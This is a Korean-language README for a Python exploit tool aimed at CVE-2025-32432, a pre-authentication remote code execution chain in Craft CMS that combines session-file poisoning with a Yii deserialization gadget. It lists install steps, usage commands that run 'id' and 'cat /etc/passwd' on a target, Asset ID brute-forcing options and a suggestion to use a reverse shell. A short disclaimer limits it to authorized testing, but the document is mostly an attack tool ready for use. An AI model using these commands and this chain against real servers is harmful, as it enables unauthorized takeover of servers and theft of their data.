
Craft CMS용 인증 전 원격 코드 실행 익스플로잇입니다. 무결성 검증되지 않은 세션 데이터 저장소와 안전하지 않은 역직렬화를 연결하여 취약한 서버(버전 3.x, 4.x, 5.x)에서 임의의 명령을 실행합니다.
CVE-2025-32432는 여러 버전의 Craft CMS에 영향을 미치는 치명적인 사전 인증 원격 코드 실행(RCE) 취약점입니다. 비위생 처리된 세션 데이터 저장과 안전하지 않은 역직렬화 가젯을 연쇄적으로 사용함으로써, 인증되지 않은 공격자가 원격 서버에서 임의의 명령을 실행할 수 있습니다.
| 브랜치 | 취약한 버전 |
|---|---|
| Craft CMS 3.x | ≤ 3.9.14 |
| Craft CMS 4.x | ≤ 4.14.14 |
| Craft CMS 5.x | ≤ 5.6.16 |
⚠️ 설명된 라우팅 동작을 보이는 모든 이전 버전도 영향을 받을 가능성이 있습니다.
이 취약점은 assets/generate-transform 엔드포인트에서 두 가지 서로 다른 약점을 연쇄적으로 사용하여 발생합니다.
이전 라우팅 동작은 원시 쿼리 매개변수를 PHP 세션 파일(/tmp/sess_<PHPSESSID>)에 직접 쓰며, 어떠한 비위생 처리나 필터링도 수행하지 않습니다.
Yii 역직렬화 가젯 체인(FieldLayoutBehavior → PhpManager)을 통해 공격자는 임의의 파일(이 경우 오염된 세션 파일)을 포함하도록 강제할 수 있습니다.
결합된 영향: 전체 서버 손상, 데이터 유출, 측면 이동 등.
requestsurllib3# Install via requirements file
pip install -r requirements.txt
# Or install directly
pip install requests urllib3
python exploit.py -u <target_url> -c "<command>" [options]
# Auto-exploit — brute-forces Asset ID automatically
python exploit.py -u https://craft.example.com -c "id"
# With a known Asset ID — more reliable and faster
python exploit.py -u https://craft.example.com -c "cat /etc/passwd" -a 42
# Custom timeout + verbose output
python exploit.py -u https://craft.example.com -c "uname -a" -t 10 -v
Step 1 ──► Session Establishment
Fetch homepage → obtain PHPSESSID cookie
Step 2 ──► Asset ID Resolution
Provided via -a flag OR brute-forced (non-404 detection)
Step 3 ──► Session Poisoning
Malicious GET request → raw PHP injected into /tmp/sess_<PHPSESSID>
Step 4 ──► RCE Trigger
Crafted deserialisation payload → PhpManager includes session file
→ PHP executes → system command runs → output returned
💡 명령 출력은 처음 2,000자까지 출력됩니다. 완전한 상호작용을 위해서는 리버스 셸을 권장합니다.
requirements.txt
requests>=2.31.0
urllib3>=2.0
이 도구는 오직 교육 목적 및 승인된 보안 평가를 위해 제공됩니다.
시스템 소유자의 명시적인 서면 허가 없이 어떤 시스템에도 사용하지 마십시오.
저자는 이 도구로 인한 오용 또는 손해에 대해 책임을 지지 않습니다. 이 소프트웨어를 사용함으로써 귀하는 자신의 행동에 대해 전적인 책임을 지며, 모든 해당 지역, 국가 및 국제 법률을 준수하는 데 동의하게 됩니다.
| 역할 | 세부 사항 |
|---|---|
| 🔍 CVE 발견 및 원본 익스플로잇 | Mohammed Idrees Banyamer |
| 🐙 GitHub | @TheMursalin |
| 🤝 코드 개선 | 커뮤니티 기여 환영 |
⭐ 유용하다고 생각하시면 더 많은 익스플로잇, 글, 보안 도구를 위해 @TheMursalin을 팔로우해 주세요.
이 프로젝트는 MIT 라이선스에 따라 출시되었습니다 — 자세한 내용은 LICENSE 파일을 참조하세요.
| 플래그 | 설명 | 기본값 |
|---|
-u, --url | 필수. 대상 기본 URL (예: https://example.com) | — |
-c, --cmd | 필수. 실행할 시스템 명령어 (예: id, whoami) | — |
-a, --asset | 알려진 유효한 Asset ID (공격 속도를 크게 높임) | 없음 |
--scan-max | ID가 제공되지 않을 때 무차별 대입할 최대 Asset ID | 300 |
-t, --timeout | 요청 제한 시간(초) | 15 |
-v, --verbose | 상세/디버그 출력 활성화 | 끄기 |